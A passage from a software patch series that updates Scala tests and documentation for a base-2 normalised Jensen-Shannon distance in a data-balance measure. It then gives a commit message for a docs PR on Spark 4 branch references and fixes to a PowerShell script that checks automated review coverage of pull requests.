Seq(0.5d, 0.5d)), 0d) + assertJsDistance(jsDistance(Seq(1d, 0d), Seq(0d, 1d)), 1d) + assertJsDistance( + jsDistance(Seq(0.5d, 0.5d, 0d), Seq(0.5d, 0d, 0.5d)), + math.sqrt(0.5d)) + assertJsDistance( + jsDistance(Seq(0.9999999d, 0.0000001d), Seq(0.0000001d, 0.9999999d)), + 0.999998765189656d) + assertJsDistance( + jsDistance( + Seq(0.36096096457437404d, 0.0463302746586729d, 0.592708760766953d), + Seq(0.36096096457437415d, 0.04633027465867293d, 0.5927087607669529d)), + 0d) + } + + test("Jensen-Shannon distance is symmetric for an intermediate distribution") { + val observed = Seq(0.7d, 0.2d, 0.1d) + val reference = Seq(0.1d, 0.3d, 0.6d) + val expected = 0.5768458213445598 + val forward = jsDistance(observed, reference) + + assertJsDistance(forward, expected) + assertJsDistance(jsDistance(reference, observed), expected) + assertJsDistance(jsDistance(observed.reverse, reference.reverse), expected) + } + + test("Jensen-Shannon distance stays within its documented bounds") { + val distributions = Seq( + (Seq(1d, 0d), Seq(0d, 1d)), + (Seq(0.75d, 0.25d), Seq(0.25d, 0.75d)), + (Seq(0.5d, 0.5d), Seq(1d, 0d))) + + distributions.foreach { case (observed, reference) => + val distance = jsDistance(observed, reference) + assert(!distance.isNaN) + assert(distance >= -jsDistanceTolerance && distance <= 1d + jsDistanceTolerance) + } + } + + test("DistributionBalanceMeasure exposes normalized JS distance end-to-end without changing its schema") { + val source = Seq("red", "red", "red", "blue").toDF("color") + val measure = new DistributionBalanceMeasure() + .setSensitiveCols(Array("color")) + .setReferenceDistribution(Array(Map("red" -> 0.25d, "blue" -> 0.75d))) + val result = measure.transform(source) + val rows = result.collect() + + assert(result.schema === measure.transformSchema(source.schema)) + assert(rows.length === 1) + assert(rows.head.getAs[String]("FeatureName") === "color") + assertJsDistance( + rows.head.getAs[Row]("DistributionBalanceMeasure").getAs[Double](JSDISTANCE), + 0.4344213111034807) + } + private def actualFeature1: Map[String, Double] = METRICS zip actual.filter(col("FeatureName") === feature1) .select(array(col("DistributionBalanceMeasure.*"))) @@ -53,7 +143,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform // val (refProbs, refCounts) = Array.fill(numFeatures.toInt)(numFeatures).map(n => (1d / n, numRows / n)).unzip // val CALC = DistributionMetricsCalculator(refProbs, refCounts, obsProbs, obsCounts, numFeatures) val KLDIVERGENCE = 0.03775534151008829 - val JSDISTANCE = 0.09785224086736323 + val JSDISTANCE = 0.11753251925575922 val INFNORMDISTANCE = 0.1111111111111111 val TOTALVARIATIONDISTANCE = 0.1111111111111111 val WASSERSTEINDISTANCE = 0.07407407407407407 @@ -61,11 +151,11 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform val CHISQUAREDPVALUE = 0.7165313105737893 } - test(s"DistributionBalanceMeasure can calculate Distribution Balance Measures for $feature1") { + test(s"DistributionBalanceMeasure normalizes JS distance without changing other measures for $feature1") { val actual = actualFeature1 val expected = ExpectedFeature1 assert(actual(KLDIVERGENCE) === expected.KLDIVERGENCE) - assert(actual(JSDISTANCE) === expected.JSDISTANCE) + assertJsDistance(actual(JSDISTANCE), expected.JSDISTANCE) assert(actual(INFNORMDISTANCE) === expected.INFNORMDISTANCE) assert(actual(TOTALVARIATIONDISTANCE) === expected.TOTALVARIATIONDISTANCE) assert(actual(WASSERSTEINDISTANCE) === expected.WASSERSTEINDISTANCE) @@ -90,7 +180,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform // val (refProbs, refCounts) = Array.fill(numFeatures.toInt)(numFeatures).map(n => (1d / n, numRows / n)).unzip // val CALC = DistributionMetricsCalculator(refProbs, refCounts, obsProbs, obsCounts, numFeatures) val KLDIVERGENCE = 0.07551068302017659 - val JSDISTANCE = 0.14172745151398888 + val JSDISTANCE = 0.1702320179536471 val INFNORMDISTANCE = 0.1388888888888889 val TOTALVARIATIONDISTANCE = 0.16666666666666666 val WASSERSTEINDISTANCE = 0.08333333333333333 @@ -102,7 +192,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform val actual = actualFeature2 val expected = ExpectedFeature2 assert(actual(KLDIVERGENCE) === expected.KLDIVERGENCE) - assert(actual(JSDISTANCE) === expected.JSDISTANCE) + assertJsDistance(actual(JSDISTANCE), expected.JSDISTANCE) assert(actual(INFNORMDISTANCE) === expected.INFNORMDISTANCE) assert(actual(TOTALVARIATIONDISTANCE) === expected.TOTALVARIATIONDISTANCE) assert(actual(WASSERSTEINDISTANCE) === expected.WASSERSTEINDISTANCE) @@ -182,7 +272,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform // val refCounts = refProbs.map(_ * numRows) // val CALC = DistributionMetricsCalculator(refProbs, refCounts, obsProbs, obsCounts, numFeatures) val KLDIVERGENCE = 0.09399792940857671 - val JSDISTANCE = 0.15001917759832653 + val JSDISTANCE = 0.18019139596106415 val INFNORMDISTANCE = 0.19444444444444442 val TOTALVARIATIONDISTANCE = 0.19444444444444445 val WASSERSTEINDISTANCE = 0.12962962962962962 @@ -196,7 +286,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform val actual = actualCustomDistFeature1 val expected = ExpectedCustomDistFeature1 assert(actual(KLDIVERGENCE) === expected.KLDIVERGENCE) - assert(actual(JSDISTANCE) === expected.JSDISTANCE) + assertJsDistance(actual(JSDISTANCE), expected.JSDISTANCE) assert(actual(INFNORMDISTANCE) === expected.INFNORMDISTANCE) assert(actual(TOTALVARIATIONDISTANCE) === expected.TOTALVARIATIONDISTANCE) assert(actual(WASSERSTEINDISTANCE) === expected.WASSERSTEINDISTANCE) @@ -222,7 +312,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform // val refCounts = refProbs.map(_ * numRows) // val CALC = DistributionMetricsCalculator(refProbs, refCounts, obsProbs, obsCounts, numFeatures) val KLDIVERGENCE = Double.PositiveInfinity - val JSDISTANCE = 0.2100032735609124 + val JSDISTANCE = 0.25223963779252284 val INFNORMDISTANCE = 0.1111111111111111 val TOTALVARIATIONDISTANCE = 0.1111111111111111 val WASSERSTEINDISTANCE = 0.05555555555555555 @@ -237,7 +327,7 @@ class DistributionBalanceMeasureSuite extends DataBalanceTestBase with Transform val actual = actualCustomDistFeature2 val expected = ExpectedCustomDistFeature2 assert(actual(KLDIVERGENCE) === expected.KLDIVERGENCE) - assert(actual(JSDISTANCE) === expected.JSDISTANCE) + assertJsDistance(actual(JSDISTANCE), expected.JSDISTANCE) assert(actual(INFNORMDISTANCE) === expected.INFNORMDISTANCE) assert(actual(TOTALVARIATIONDISTANCE) === expected.TOTALVARIATIONDISTANCE) assert(actual(WASSERSTEINDISTANCE) === expected.WASSERSTEINDISTANCE) diff --git a/docs/Explore Algorithms/Responsible AI/Data Balance Analysis.md b/docs/Explore Algorithms/Responsible AI/Data Balance Analysis.md index c8437cc65b7..d80363c9b70 100644 --- a/docs/Explore Algorithms/Responsible AI/Data Balance Analysis.md +++ b/docs/Explore Algorithms/Responsible AI/Data Balance Analysis.md @@ -163,7 +163,7 @@ We can use distance measures to find out how far our observed and reference dist | Measure | Description | Interpretation | Reference | |--------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------| | KL Divergence | Measure of how one probability distribution is different from a second, reference probability distribution. Measure of the information gained when one revises one's beliefs from the prior probability distribution Q to the posterior probability distribution P. In other words, it is the amount of information lost when Q is used to approximate P. | Non-negative. 0 means P = Q. | [Link](https://en.wikipedia.org/wiki/Kullback%E2%80%93Leibler_divergence) | -| JS Distance | Measuring the similarity between two probability distributions. Symmetrized and smoothed version of the Kullback–Leibler (KL) divergence. Square root of JS Divergence. | Range [0, 1]. 0 means perfectly same to balanced distribution. | [Link](https://en.wikipedia.org/wiki/Jensen%E2%80%93Shannon_divergence) | +| JS Distance | Square root of the average base-2 KL divergence from each distribution to their midpoint mixture. The mixture handles zero-probability support without additive smoothing. | For finite, non-negative distributions with unit sum, the range is [0, 1]. 0 means identical distributions; 1 means disjoint support. | [Link](https://en.wikipedia.org/wiki/Jensen%E2%80%93Shannon_divergence) | | Wasserstein Distance | This distance is also known as the earth mover’s distance, since it can be seen as the minimum amount of “work” required to transform u into v, where “work” is measured as the amount of distribution weight that must be moved multiplied by the distance it has to be moved. | Non-negative. 0 means P = Q. | [Link](https://en.wikipedia.org/wiki/Wasserstein_metric) | | Infinity Norm Distance | Distance between two vectors is the greatest of their differences along any coordinate dimension. Also called Chebyshev distance or chessboard distance. | Non-negative. 0 means same distribution. | [Link](https://en.wikipedia.org/wiki/Chebyshev_distance) | | Total Variation Distance | It is equal to half the L1 (Manhattan) distance between the two distributions. Take the difference between the two proportions in each category, add up the absolute values of all the differences, and then divide the sum by 2. | Non-negative. 0 means same distribution. | [Link](https://en.wikipedia.org/wiki/Total_variation_distance_of_probability_measures) | diff --git a/docs/Explore Algorithms/Responsible AI/Quickstart - Data Balance Analysis.ipynb b/docs/Explore Algorithms/Responsible AI/Quickstart - Data Balance Analysis.ipynb index 517cde68caf..b4015270f1a 100644 --- a/docs/Explore Algorithms/Responsible AI/Quickstart - Data Balance Analysis.ipynb +++ b/docs/Explore Algorithms/Responsible AI/Quickstart - Data Balance Analysis.ipynb @@ -491,7 +491,7 @@ "cell_type": "markdown", "metadata": {}, "source": [ - "![Distribution Balance Measures of Sex and Race in Adult Dataset](https://mmlspark.blob.core.windows.net/graphics/responsible_ai/DataBalanceAnalysis_AdultCensusIncome_DistributionMeasures.png)" + "Run the cell above to render the distribution balance chart with the normalized JS distance values." ] }, { @@ -507,12 +507,12 @@ "source": [ "#### Interpret Distribution Balance Measures\n", "\n", - "Race has a JS Distance of 0.5104 while Sex has a JS Distance of 0.1217.\n", + "Race has a JS Distance of 0.6131 while Sex has a JS Distance of 0.1462.\n", "\n", - "Knowing that JS Distance is between [0, 1] where 0 means perfectly balanced distribution, we can tell that:\n", - "* There is a larger disparity between various races than various sexes in our dataset.\n", - "* Race is nowhere close to a perfectly balanced distribution (i.e. some races are seen ALOT more than others in our dataset).\n", - "* Sex is fairly close to a perfectly balanced distribution." + "JS Distance uses base-2 normalization and is in [0, 1], where 0 means the observed and reference distributions match and 1 means they have disjoint support. We can tell that:\n", + "* Race differs substantially more from its uniform reference distribution than sex.\n", + "* Race is far from its uniform reference distribution (some races appear much more often than others).\n", + "* Sex is comparatively close to its uniform reference distribution." ] }, { From 9907280a6048a6142462a32601959b714bf9dfe5 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 17 Aug 2026 01:36:09 -0700 Subject: [PATCH 90/93] docs: add the Spark 4 branch details the condensed skill dropped (#2650) * docs: add the Spark 4 branch details the condensed skill dropped The branch references in #2649 were condensed from the branch guides in #2645 and #2646, and the condensation kept the conclusions but dropped a few facts that are only useful in their specific form. Adding those back before the source guides are removed from the port branches, so nothing is lost when they go. pyarrow and mlflow move together. The pinned MLflow requires pyarrow<20, so raising pyarrow alone breaks the environment solve -- a failure that surfaces during dependency resolution, far from the pin that caused it. Both comments already say so in environment.yml; the skill said only "preserve dependency comments", which does not tell you the two are coupled. RCodegenSuite exists on both Spark 4 branches, not just 4.1 where the reference happened to mention it. That asymmetry mattered: I had it recorded as missing from 4.0 and worth back-porting, and checking the tree rather than trusting the note showed it was already there. It turns an R failure into a unit test instead of a full pipeline run, so it belongs in the shared file where both branches see it. DatabricksCPUStreamingTests is unscheduled on both branches -- confirmed absent from both pipeline.yaml files, not merely undocumented. Only the 4.1 reference mentioned it, which reads as a 4.1 quirk rather than a coverage gap both branches carry. The 4.0 reference also claimed the branch "historically had no PR checks even when master contained corrected filters". That was true when written and is now misleading: the ADO trigger filter was widened on 2026-08-17 and /azp run queues this target, verified by build 231455959 recording reason=pullRequest. The mechanics live in the common file, so this now points there and keeps only the instruction that still matters -- confirm a build actually queued. Finally, "two of four GPU notebooks failing" is recorded as the gap's expected shape, because checking the count distinguishes the known gap from a new regression where red/green cannot. The petastorm shim is marked explicitly unproven so it stops being repeated as the cause. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: correct the Petastorm shim as a pyarrow gap, not a Python 3.13 one Copilot flagged that the spark4.0 GPU bullet read as if spark4.1's shims caused spark4.0's failure. Checking the trees to reword it turned up something larger than the wording. _petastorm_compat.py has no Python version gating anywhere in its 510 lines. What it does is reimplement pyarrow APIs that Petastorm still calls and pyarrow no longer ships -- ParquetDataset, pyarrow.filesystem, pyarrow.hdfs, dataset pieces and partitions. Both Spark 4 branches pin pyarrow==18.0.0. So this is a library-version problem, and spark4.0 is not exempt from it by being on an older Python. Both references said otherwise. spark4.0's told readers not to copy "Python 3.13 petastorm/cloudpickle shims" and listed them as do-not-port; spark4.1's grouped them with genuine 3.13 concerns. That framing makes the layer look inapplicable to 4.0 for a reason that is not true of it, which is worse than saying nothing: it forecloses the question. The concrete divergence is now stated plainly. spark4.0 has _horovod.py but not _petastorm_compat.py, so it uses the plain Horovod SparkBackend where 4.1 substitutes a Petastorm-compatible subclass. Its unit tests do not cover this. Without a usable Horovod the estimators fall back to stubs, so the Petastorm path never executes -- which is why the branch can look healthy while missing the layer. That also sharpens the GPU note Copilot was reading. The wheel is the first blocker and it masks this one, so fixing the wheel alone should not be expected to turn those notebooks green. The shims are removed from spark4.0's do-not-port list and marked a back-port candidate instead, explicitly requiring validation on real 4.0 rather than adoption on suspicion. Docs only. Whether to port the layer is a separate change with its own validation, deliberately not bundled here. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: link the cross-references instead of naming them in prose Both new pointers to branch-spark4-common.md were plain text while the file's own "Read ... first" line at the top is a link, so the same target was styled two ways in one document. Made them links. Verified all four relative targets in the references directory resolve on disk rather than assuming a same-directory filename is safe. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: say pins the same pyarrow version, not runs the same pyarrow "Runs the same pyarrow" left it ambiguous whether the comparison was the version, the runtime, or the branch. The claim only holds because both branches declare pyarrow==18.0.0, so the sentence now says pins, and names the version as the thing being compared. Raised as a suppressed review comment rather than a posted one, so it had no thread to reply to. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: make suppressed comments findable and gate review on the current head The PR loop already said to read suppressed comments, three separate times, and I still missed one. Saying it again would not have helped, because the skill never said where they are. Suppressed comments are not review threads. They live inside a collapsed section of the review body, so querying reviewThreads returns zero while they exist, and an agent doing exactly what the skill asked gets a clean result and moves on. They also have no thread to reply to or resolve, which the skill never mentioned either -- so the natural next step after finding one silently fails. The skill now says all of that and directs the fix into the follow-up commit message or a PR comment. The second failure is timing. Automated review re-runs per commit and is asynchronous, so auditing immediately after a push reads the review of the previous head. It reports zero findings for code nobody has looked at yet, and that is indistinguishable from being genuinely clean. Get-PrReadiness.ps1 now makes that distinction visible rather than leaving it to judgment: automatedReviewCoversHead compares the newest automated review's commit against the current head and gates `complete`, and suppressedReviewBodiesForHead narrows suppressed feedback to that head so stale entries from earlier commits stop reading as outstanding. Running it against the live PRs immediately justified the change. #2650 reported one suppressed body but zero for the current head -- correctly stale, already fixed. #2646 reported automatedReviewCoversHead false with no automated review commit at all, which is the real state: that PR has zero reviews. Its clean thread count was never evidence of anything. Under the old output both PRs looked equally clean. The readiness gates now say suppressed feedback must be read from the review body for the current head, and that coverage is compared by commit rather than by recency, since a review produced before the last push never saw that code. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: match the review bot by login instead of by substring Review caught a real defect in the coverage gate I had just added. Automated reviews were identified with `-imatch 'copilot'`, a substring test against the author login, so any account whose name merely contains the word counted as automated coverage. That is the exact failure the gate exists to prevent. A review from `copilotfan` would have set automatedReviewCoversHead true and marked the PR complete while the actual reviewer had never seen the head commit -- a false all-clear produced by the check meant to catch false all-clears. Matching is now an exact comparison against a configurable login list, with the `[bot]` suffix normalised so both `copilot-pull-request-reviewer` and `copilot-pull-request-reviewer[bot]` match the same entry. The list is exposed as -AutomatedReviewer so a repo using a different reviewer does not have to edit the script. The matched login is also emitted as latestAutomatedReviewAuthor, so a wrong match is visible in the output rather than hidden behind a boolean. Verified against the three real logins and four adversarial ones: `copilotfan`, `my-copilot-bot` and `not-copilot` all matched under the old test and none match now, while the genuine bot still does with and without the suffix. Live output for #2650, #2646 and #2645 is unchanged, each attributed to copilot-pull-request-reviewer on its current head. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: emit a readiness snapshot instead of throwing under StrictMode Suppressed review comment on ebe6377ed7 flagged that $latestAutomated can be null when a PR has no automated reviews, and that reading .commit.oid off it would throw and stop the script emitting a snapshot at all. The stated failure does not reproduce. The script sets no StrictMode, so null property access coalesces rather than throws; run against a PR with no matching automated review it emits covered=False, complete=False and exits cleanly. That path was already exercised for real, when #2646 had zero reviews. The underlying concern is real though, just not where it was reported. With StrictMode enabled by the caller -- which propagates into this script's scope -- it does throw, and the first failure is not this line. It is $response.errors in the GraphQL error check, then .state, with the null review fields never reached. It also throws on the completely normal path with a real review present, so this was never about null reviews: the script has never been StrictMode-safe anywhere. Fixing that one reported line would have produced a partial fix wearing the appearance of a complete one, so the contract is now explicit instead. The script pins Set-StrictMode -Off for its own scope, so its behaviour no longer depends on the caller's session state, and it emits a snapshot describing what is missing rather than failing to report at all -- which is the outcome the comment asked for, and now holds on the normal path too. The three review fields are still made explicitly null-safe. They no longer rely on null-coalescing to do the right thing, so the intent is readable rather than incidental. Verified in both modes: StrictMode 3.0 with a forced-null reviewer gives covered=False complete=False, StrictMode 3.0 on the normal path gives covered=True complete=True attributed to copilot-pull-request-reviewer, and both threw before this change. Default-mode output for #2650, #2646 and #2645 is unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: ground the pyarrow bound and the streaming gap in checkable facts Reviewing this PR's own claims against the branch trees turned up two that were weaker than they read. The pyarrow/mlflow bullet said "the pinned MLflow requires pyarrow<20" and told the reader to check the inline comments in environment.yml. Those comments disagree: spark4.0 says pyarrow<20, spark4.1 says pyarrow<19. mlflow 2.21.3's published metadata declares pyarrow<20,>=4.0.0, so spark4.0 is right and 4.1's comment is wrong -- and the guidance as written would have sent someone on 4.1 to a comment that misinforms them. It now states the bound from the package metadata and flags the stale comment instead of pointing at it. Fixing 4.1's comment belongs on that branch, not here. The streaming bullet recorded that DatabricksCPUStreamingTests is unscheduled and that scheduling it needs pool capacity and a notebook fix, which is faithful to the note it came from but stops at status. Verified the mechanism: the class is real in DatabricksCPUTests.scala, pipeline.yaml names its CPU legs explicitly as DatabricksCPUTests1..5 plus DatabricksGPUTests and never lists it, and it is a separate class because the streaming notebook's server.stop() cancels concurrent SparkContext jobs, so it needs its own cluster rather than a slot on an existing leg. That is why capacity is the blocker, which the bullet asserted without explaining. The first draft of that sentence generalised the in-repo comment from "Spark 4.0" to "Spark 4". Both branches carry the same comment naming 4.0, and nothing re-confirms it on 4.1 -- which is the same overgeneralisation that produced the Petastorm error this PR exists to correct. It now reports what the comment says and that 4.1 is unverified. Also verified and left unchanged: RCodegenSuite.scala is present on both branches, and all relative links still resolve. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * feat: wait for the automated review of the current head instead of sampling once The loop kept reporting a clean PR seconds after a push, before review of that push existed. Nothing was wrong with the query; it answered honestly about a head nobody had reviewed yet. The gap was that the result was read as clean, so findings surfaced only when a human pointed out that comments had appeared. Review is triggered automatically on push, so the fix is not to ask for one. It is to wait for it. -WaitForReview polls until the newest automated review's commit matches the current head, with -TimeoutMinutes and -PollSeconds to bound it, and on timeout it warns that findings may still be pending rather than returning a quiet all-clear. The per-PR body moved into Get-PrSnapshot so the wait re-queries real state each time instead of re-reading a stale snapshot. This puts the waiting inside the tool. It was previously prose in the skill, and prose asking an agent to hand-roll a polling loop is exactly what got skipped -- the same loop has now been written by hand three times, which is evidence the instruction does not survive contact. -RequestReview stays but is demoted to a fallback and documented as one. It exists because #2646 was found with zero reviews, where waiting alone would block until timeout, and the REST handle is the only path that works: the GraphQL requestReviews mutation rejects the reviewer's Bot node id and `gh pr edit --add-reviewer` cannot resolve the bot login. The reviewer never appears in requested_reviewers afterwards either, so a request cannot be confirmed by reading that list back -- only by waiting for coverage, which is now what the script does. Verified: without -RequestReview no request is sent; with it, and coverage false, one is. Both StrictMode and default-mode paths still emit a snapshot, and output for #2650/#2646/#2645 is unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: recover the last branch facts and bound the pyarrow claim correctly A gap audit of both AGENTS_.md files against the skill references, run specifically to find what deleting them would destroy, came back with four durable facts that exist in no reference file. Each is verified against the branch trees rather than copied on the strength of the note it came from. cyber/utils/spark_utils.py differs between the branches -- 4.0 builds its indexed frame with rdd.toDF(schema), 4.1 with spark.createDataFrame(rdd, schema) -- and toDF was measured working on both 4.0.1 and 4.1.1. Confirmed both forms in the tree, and confirmed that df.rdd.zipWithIndex() still precedes both, which is what makes the back-port low-value: it removes one monkey-patched RDD call and leaves another. Without this, the difference reads as a version requirement and gets preserved forever or "fixed" for no gain. The r-base=4.4 pin was recorded on neither reference, although the sparklyr 1.9.5 pin next to it was. Both branches pin r-base=4.4, and the 69/69 RTests result was measured for the pair, so carrying one half invites someone to move the other. Fabric re-enablement kept the intent but lost the specifics: the payload lives in the Fabric test package's FabricOperations.scala, hardcodes 'SparkVersion': '3.5', and must request '4.1'. Verified that master, spark4.0 and spark4.1 all carry that same hardcoded value, which is the point worth recording -- it means editing it on the port branch cannot affect master, so an agent has no reason to refuse the change as cross-branch. The sempy-integration-region capacity requirement is the one prerequisite that cannot be discovered from code at all. The sparklyr 1.9.3 failure signature is now written down. The reference already said to read the backtrace and not to blame a dead session; it did not say what to look for. The frame chain through dbplyr:::select.tbl_lazy, sparklyr:::tidyselect_data_proxy.tbl_spark and simulate_vars_spark surfaces as invoke_static/hive_context on NULL, which is exactly why it reads like a dead session. Separately, a suppressed comment on b61db329ec was right about the lockstep bullet. "Raising pyarrow alone breaks the environment solve" overstates it: the declared bound is pyarrow<20, so 18 to 19 is fine and only crossing the bound without moving mlflow breaks. Now bounded as stated rather than as remembered. Deliberately not carried over, per the audit: the claim that RCodegenSuite does not exist on spark4.0, which is false and contradicted by the tree, and the framing of the Petastorm shims as Python 3.13 workarounds, which is the error this PR exists to correct. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: state the pyarrow/mlflow rule instead of a branch state that is not live yet Review caught the lockstep bullet asserting `mlflow==2.21.3` with `pyarrow<20` as though it described both Spark 4 branches. It does not describe either one as they exist today. I read those pins out of the sync worktree, which is the result of #2646 rather than the live branch. The live pins are not close to what the bullet implied: master has pyarrow 10.0.1 with mlflow 2.21.3, spark4.1 has 18.0.0 with 2.21.3, and spark4.0 has pyarrow 22.0.0 with mlflow 1.26.1 -- a different MLflow major with a different bound, and a pyarrow above the number the bullet said could not be crossed. On master, where this file lands, the claim would have been wrong for every branch a reader might check. That is the third time in this work that a derived tree has been written down as current fact, so the bullet no longer states pins at all. It states the rule -- the bound comes from the pinned MLflow, check that version's own metadata, read both live values on the branch being edited -- and keeps 2.21.3's pyarrow<20 as a worked example rather than a claim about the world. That stays true after #2646 merges and after the next pin bump, which the previous wording would not have. Also fixes a suppressed comment on the same head: $automatedLogins rejected empty strings but accepted whitespace-only ones, since ' ' is truthy in PowerShell. That produced a non-empty login list guaranteed never to match, leaving automatedReviewCoversHead false forever with no error to explain why -- a silent hang in the gate that exists to stop silent passes. Entries are now trimmed and blank ones dropped before the emptiness check. Verified: ' ' and @(' ','') both throw with a clear message, @(' ','Copilot') is accepted, and default behaviour is unchanged. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: correct branch claims verified against live refs Addresses the suppressed Copilot comment on branch-spark4-common.md:69 and a wider audit it prompted. Every branch claim below was re-verified with `git show ms/:` / `git grep ms/` against the live refs rather than against local sync worktrees, which are PR *results* and do not reflect current branch state. That contamination is what produced the wrong claims being fixed here. - DatabricksCPUStreamingTests: was "unscheduled on both Spark 4 branches". Live spark4.0 schedules it (job databricks-cpu-streaming); the class does not exist on master at all. Rewritten to send readers to pipeline.yaml on their own branch, and to note that dropping the leg while leaving the class defined is silent coverage loss. - RCodegenSuite: was "on both Spark 4 branches". Live spark4.0 does not have it; spark4.1 does. - sparklyr: was "both branches pair that pin with r-base=4.4". Live spark4.0 is on 1.9.3, spark4.1 on 1.9.5, so the 1.9.3 backtrace signature documented below it is a live concern on 4.0, not history. r-base=4.4 on both is correct and is retained. - pyarrow: branch-spark4p0.md still claimed "both branches pin the same pyarrow" - the same error already corrected in the common doc. Live spark4.0 is 22.0.0, spark4.1 is 18.0.0. The Petastorm conclusion is unchanged and in fact strengthened: 4.0 resolves to the newer pyarrow, so the APIs the shim restores are at least as absent there. - NumPy: was "Keep NumPy 1.26.4 pinned", and separately listed "unpinned NumPy" as 4.1-only. NumPy is unpinned on both live branches; the pin described post-merge state. Restated as a conditional rule. Also retracts an earlier unverified suspicion of mine: LongOffset is present on live spark4.0 (DistributedHTTPSource.scala, HTTPSource.scala). The empty grep that prompted it was a case-sensitivity error, not a defect. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: preserve branch operating detail; fix review-coverage by commit Addresses the suppressed Copilot comment on Get-PrReadiness.ps1:251 and closes the content-loss gaps found by auditing the skill against the files it is meant to replace. Review coverage: automatedReviewCoversHead was computed from the newest automated review overall, so a force-push back to an already-reviewed commit reported a reviewed head as uncovered and would send -WaitForReview into a pointless wait. Coverage is now true when *any* automated review targets the head, and the reported review prefers one that covers the head, falling back to the newest for diagnostics. Knowledge preservation: AGENTS_spark4.0.md and AGENTS_spark4.1.md exist only on the two sync branches; neither live spark4.0 nor live spark4.1 carries any branch documentation. Deleting them therefore destroys that knowledge unless this skill carries it, so the condensation was re-audited line by line against both sources. Recovered here: - generated Python lives under target/scala-2.13, not master's scala-2.12 - the Java 17 surface: Dockerfile JAVA_HOME, pr-validation.yml JDK, and the exact CMS flags whose restoration stops the JVM booting - why environment.yml pins move (pip too old, first torch/torchvision releases, interpreter-specific wheel URLs) and why their comments matter - the Spark 4 adaptations by name: UnboundRowEncoder and the SAR case class, DetectAmbiguousSelfJoin and the qualified join column, safeGetDefault, and why the classifier fixture dropped NaN rather than weakening the assertion - OpenAIPromptPythonOverrides.scala and the NameError that zero-arg super() avoids - the __init__.py rationale and its guard tests (test_http_package.py, test_package_exports.py) - rLoadLine/new_ml_pipeline_stage: signature stable v1.8.0-v1.9.5, four param types share one implementation, keep the three assertions in step, and it is alignment rather than a proven fix - the sibling-diff habit with its command and its track record - GPU pool name, its 1 x 3 worker shape, and the sibling branch as a free control; CPU pool name on 4.1 - areLibrariesInstalled == false is a ~10 minute timeout (60 * 10 attempts) and inverts expectations: a genuine FAILED throws instead - the torchvision 0.17.0 / torch 2.2.0 downgrade instance - the fine-tune measurements showing the wheel swap was alignment, not a fix - Fabric on 4.0 may never be possible; supersession by 4.1 is likelier Also corrects branch-spark4p1.md, which still claimed spark4.0 "pins the same pyarrow version". It does not - it pins a newer one, which strengthens rather than weakens the point that spark4.0 is not exempt. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * docs: scope Spark 4 claims to sync-PR state, correct GPU pool A third pass of verifying claims against live refs found that most of AGENTS_spark4.0.md describes the branch *after* #2646, not as it stands. The guides were written on the sync branches, so they describe the merged result; importing them as present-tense fact overstates what live spark4.0 has. Measured against ms/spark4.0 (git ls-tree / git grep, not a worktree): - GPU pool is synapseml-build-17.3-gpu, not the shared synapseml-build-14.3-gpu. #2646 switches it to the shared pool, so "the pool is shared, use the sibling branch as a control" is a post-merge property, not a current one. - OpenAIPromptPythonOverrides.scala: absent - test_http_package.py / test_package_exports.py: absent, so the __init__.py policy is currently unenforced there - new_ml_pipeline_stage in generated R: absent Changes: - the header now states the guides describe the branches as of #2645/#2646, lists what live spark4.0 lacks, and names the worktree-vs-live mistake explicitly so the next reader does not repeat it - the GPU bullet no longer hardcodes a pool name; pool names differ by branch and the sharing-derived advice is scoped to where sharing actually holds - the guard-test, OpenAIPrompt and rLoadLine bullets say where they apply - branch-spark4p0.md records the live-vs-#2646 delta directly Verified correct and left as-is: CMS flags absent on both Spark 4 branches and present on master; spark4.1's CPU pool synapseml-build-18.0 and shared 14.3-gpu; GpuConcurrentRuns; areLibrariesInstalled. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: scope StrictMode to functions; narrow automated-reviewer default Addresses both suppressed Copilot comments on 7577faa1b8. Get-PrReadiness.ps1:40 - the default reviewer list contained "copilot" and "github-copilot". Matching is exact, but those shorter logins are registerable by humans, so an exact match could count a human review as automated coverage and set complete=true on an unreviewed head. The default is now this repo's reviewer bot alone (copilot-pull-request-reviewer); -AutomatedReviewer still extends it for other repos. Get-PrReadiness.ps1:69 - Set-StrictMode -Off sat at script scope, so dot-sourcing disabled StrictMode for the caller's whole session. Rather than document that hazard, it is now scoped to the two functions that actually read sparse GraphQL fields positionally (Invoke-PagedQuery, Get-PrSnapshot). Script scope only validates parameters and defines here-strings, so it does not need the relaxation. That move initially introduced a silent defect worth recording: Set-StrictMode was placed *before* each function's param() block. PowerShell requires param() to be the first statement in a function body, and when it is not, param(...) parses cleanly as a command invocation and fails only at runtime. The file parsed clean while being broken, so parse-checking was not sufficient verification here. Verified by running, not by inspection: - normal invocation reports covers=True, attributed to copilot-pull-request-reviewer, so narrowing the default did not break detection - a caller with Set-StrictMode -Version 3.0 still gets a snapshot, which is the original defect this relaxation exists for - after dot-sourcing, a missing-property access in the caller still throws, confirming StrictMode is no longer disabled session-wide 